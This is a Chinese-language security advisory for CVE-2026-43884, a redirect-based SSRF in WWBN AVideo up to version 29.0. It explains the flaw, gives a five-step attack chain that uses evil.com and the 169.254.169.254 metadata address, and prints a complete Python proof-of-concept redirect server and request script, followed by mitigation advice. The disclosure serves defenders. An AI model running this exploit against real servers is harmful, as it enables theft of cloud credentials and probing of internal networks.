IPBUF安全漏洞报告
English
CVE-2026-43884 CVSS 7.7 高危

CVE-2026-43884 WWBN AVideo 服务端请求伪造漏洞 (SSRF)

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-43884
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

SSRFCWE-918WWBN AVideoRedirect BypassServer-Side Request Forgery

漏洞概述

WWBN AVideo是一个广泛使用的开源视频平台。在29.0及以下版本中,该平台存在严重的服务端请求伪造(SSRF)漏洞。漏洞主要影响`plugin/AI/receiveAsync.json.php`和`objects/EpgParser.php`两个端点。尽管代码中调用了`isSSRFSafeURL()`函数对用户输入的URL进行安全验证,但在实际获取资源时,使用了未禁用自动跟随重定向功能的`file_get_contents()`函数。攻击者可以利用这一缺陷,构造一个指向受控服务器的URL,该服务器返回302重定向响应,将请求指向内网敏感地址(如云元数据服务http://169.254.169.254)。由于验证机制仅检查初始URL,重定向后的目标地址成功绕过了SSRF防护,导致服务器敏感信息泄露。

技术细节

该漏洞的根本原因在于输入验证逻辑与资源请求逻辑之间的不一致性。在受影响的AVideo版本中,`isSSRFSafeURL()`函数旨在防止SSRF攻击,它通常通过检查URL的主机部分,确保其不属于内网IP段(如127.0.0.1, 10.0.0.0/8, 169.254.169.254等)或使用file://协议。然而,当验证通过后,后端代码直接使用PHP的`file_get_contents($url)`函数去获取URL内容。PHP的`file_get_contents`在处理HTTP请求时,默认会跟随服务器返回的302或301重定向。

攻击流程如下:攻击者向`plugin/AI/receiveAsync.json.php`等接口提交一个外网合法URL(例如http://evil.com/redirect)。`isSSRFSafeURL()`检查该URL,确认为合法外网地址,放行请求。随后,`file_get_contents()`请求evil.com。攻击者控制evil.com返回HTTP 302状态码,并在Location头中填入内网地址(如http://169.254.169.254/latest/meta-data/iam/security-credentials/)。由于PHP默认跟随重定向,`file_get_contents()`会自动向该内网地址发起请求。此时,请求是从受害服务器发出的,完全绕过了防火墙对入站流量的限制,且绕过了应用层的SSRF检查。这种利用方式可以导致云厂商凭证窃取、内网端口扫描等严重后果。修复方案(Commit 603e7bf)主要涉及在请求过程中禁用重定向跟随,或在跟随重定向前对目标地址进行二次校验。

攻击链分析

STEP 1
步骤1:环境准备
攻击者架设一个恶意HTTP服务器,配置该服务器对任意请求返回302重定向响应,Location指向目标内网地址(如169.254.169.254)。
STEP 2
步骤2:发送恶意请求
攻击者向WWBN AVideo的漏洞端点(如plugin/AI/receiveAsync.json.php)发送POST请求,参数中包含攻击者控制的外网URL。
STEP 3
步骤3:绕过安全检查
服务端接收请求,调用isSSRFSafeURL()函数验证该外网URL。由于URL指向公网且非敏感协议,验证通过。
STEP 4
步骤4:触发重定向
服务端使用file_get_contents()请求攻击者提供的URL。攻击者服务器响应302重定向至内网元数据地址。
STEP 5
步骤5:执行SSRF攻击
PHP的file_get_contents()自动跟随重定向,向内网地址发起请求。攻击者成功获取云服务器元数据或扫描内网信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# This PoC demonstrates how to exploit the SSRF via redirect. # It sets up a malicious server that redirects to an internal metadata service. import threading import time from http.server import HTTPServer, BaseHTTPRequestHandler import requests class MaliciousRedirectHandler(BaseHTTPRequestHandler): """ Handler that redirects incoming requests to a sensitive internal address. This simulates the attacker-controlled server. """ def do_GET(self): # Log the request from the vulnerable server print(f"[*] Received request from: {self.client_address[0]}") # Send a 302 Redirect to the AWS Metadata Service (or other internal target) # This bypasses isSSRFSafeURL() because the initial URL was 'attacker.com' target_internal_url = "http://169.254.169.254/latest/meta-data/" self.send_response(302) self.send_header('Location', target_internal_url) self.end_headers() def log_message(self, format, *args): # Suppress default logging pass def start_redirect_server(port=8000): """Starts the HTTP server in a separate thread.""" server = HTTPServer(('0.0.0.0', port), MaliciousRedirectHandler) thread = threading.Thread(target=server.serve_forever) thread.daemon = True thread.start() print(f"[*] Malicious redirect server listening on 0.0.0.0:{port}") return server if __name__ == "__main__": # 1. Start the attacker's server start_redirect_server() attacker_url = "http://attacker-server-ip:8000" # 2. Target URL (Vulnerable Endpoint) # Replace with actual target IP/Domain target_endpoint = "http://localhost/avideo/plugin/AI/receiveAsync.json.php" print(f"[*] Attempting to trigger SSRF on {target_endpoint}") print(f"[*] Payload URL: {attacker_url}") # 3. Send the payload # The parameter name 'url' might vary based on the actual endpoint implementation try: data = { "url": attacker_url } response = requests.post(target_endpoint, data=data, timeout=5) print(f"[*] Request sent. Status code: {response.status_code}") print("[*] If vulnerable, the server has now fetched http://169.254.169.254/latest/meta-data/") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") # Keep script running to handle the redirect request try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[*] Shutting down server.")

影响范围

WWBN AVideo <= 29.0

防御指南

临时缓解措施
在未完成版本升级前,建议在网络边界处实施出站流量过滤,阻断服务器对169.254.169.254等元数据IP的访问,并暂时禁用相关插件功能以降低风险。

参考链接